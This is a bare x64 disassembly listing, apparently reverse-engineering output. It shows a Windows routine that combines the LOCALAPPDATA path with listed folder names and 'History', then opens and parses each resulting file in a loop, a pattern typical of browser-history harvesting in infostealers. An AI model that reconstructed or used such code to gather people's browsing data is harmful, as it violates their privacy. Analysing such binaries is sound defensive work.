movups xmmword [r8 + 0x20], xmm1
movups xmmword [r8 + 0x30], xmm0
mov qword [r8 + 0x40], rax
cmp word [rbp - 0x50], r14w
je 0x14001a637
mov r8d, 0x208
lea rdx, [rbp + 0x80]
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rdx, rsi
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, rbx
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.History
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x80]
call fcn.14001ac30
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14001a637
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001983c
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140019e6c
test eax, eax
jne 0x14001a637
lea r9, [0x140018cf8]
mov qword [rsp + 0x20], rdi
lea r8d, [rax + 1]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001995c
mov rcx, qword [rsp + 0x30]
call fcn.140002438
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea rbx, [rbx + rax*2]
cmp word [rbx], r14w
jne 0x14001a568
lea r11, [rsp + 0x390]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret